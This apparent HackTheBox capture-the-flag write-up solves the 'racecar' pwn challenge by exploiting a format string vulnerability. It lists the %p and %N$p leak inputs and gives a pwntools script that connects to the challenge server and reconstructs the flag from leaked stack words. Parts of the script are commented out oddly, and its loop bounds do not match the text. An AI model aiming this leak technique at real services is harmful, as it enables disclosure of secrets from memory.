racecar
racecar
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Did you know that racecar spelled backwards is racecar? Well, now that you know everything about racing, win this race and get the flag!
Solution Approach
Core idea: Stack-Based Exploitation. Exploiting FSB to leak stack value.
Steps
-
First, unzip the file given and enter
hacktheboxas the password. -
Next, check the file type.
-
It's an ELF 32 bit file, dynamically linked and luckily not stripped.
-
Now check the file's protector.
-
Hmm.. Looks like there's no vuln we can utilize here.
-
Anyway, let us run the file.
-
Let us run the remote server.
-
Follow the same steps as before.
-
Let us decompile the file using ghidra.
-
Since we want to know what happen we the program asked us to enter the string, so let us check the
car_menu()function.
CAR_MENU()
-
Looks like we found the vuln here.
-
We can do
format strings attack, because there's no identifier specified at theprintf()function. -
Run the file again, but this time in gdb and create the
flag.txtfirst. -
At this session, input
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %pas the input -
Great we reached the next step now.
-
Based on the ghidra we know this variable stored the flag content
IT HAS 44 BYTES AS THE BUFFER
-
Since we know the buffer is 44 bytes, then we need to find the offset of the
__*format. To find that, since we can't loop to run the file. -
We can find the offset by input it manually from 1 - 44. -> (%1-44$s).
-
Got a string when i tried to input
%12$s. -
It means the start offset of the flag is 12.
-
Let us continue.
INPUT -> %12$p %13$p
NOTES: Changed the 's' to 'p', because we would get segmentation fault. Just need the hex value.
CONTINUE -> %12$p %13$p %14$p
CONTINUE -> %12$p %13$p %14$p %15$p
ETC..
- To simply automate this, i made a python script to solve this challenge:
THE SCRIPT
from pwn import *
import os
'''
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
#gdbscript = '''
#init-pwndbg
#continue
'''.format(**locals())
exe = '.racecar'
### This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
'''
os.system('clear')
context.log_level = 'debug'
payload = ""
for i in range(12, 13):
payload += "%" + str(i) + "$p " # sh.sendline('%' + str(i) + '$s')
sh = remote('157.245.41.35', 30606)
sh.recvuntil(": ")
sh.sendline(b'Nicolas')
sh.recvuntil(": ")
sh.sendline(b'Nic')
sh.recvuntil("> ")
sh.sendline(b'2')
sh.recvuntil("> ")
sh.sendline(b'1')
sh.recvuntil("> ")
sh.sendline(b'2')
sh.recvuntil("> ")
sh.sendline(payload)
sh.recv()
result = sh.recv()
print(result)
output = (result.decode("utf-8").split("m\n"))[1]
output = output.split()
flag = ""
for items in output:
flag += p32(int(items, base = 16)).decode("utf-8") #base 16 -> hex , then decode it
print(flag)
-
Try to input 13 as the end offset of the flag.
-
Got the prefix only.
-
So increment the second parameter of the loop until i got the complete flag.
-
Turns out, i got the flag when the second parameter value is 223.
-
Finally, we got the flag!
Flag
REDACTED
Lessons Learned
- Stack-Based Exploitation.
- Exploiting FSB to leak stack value.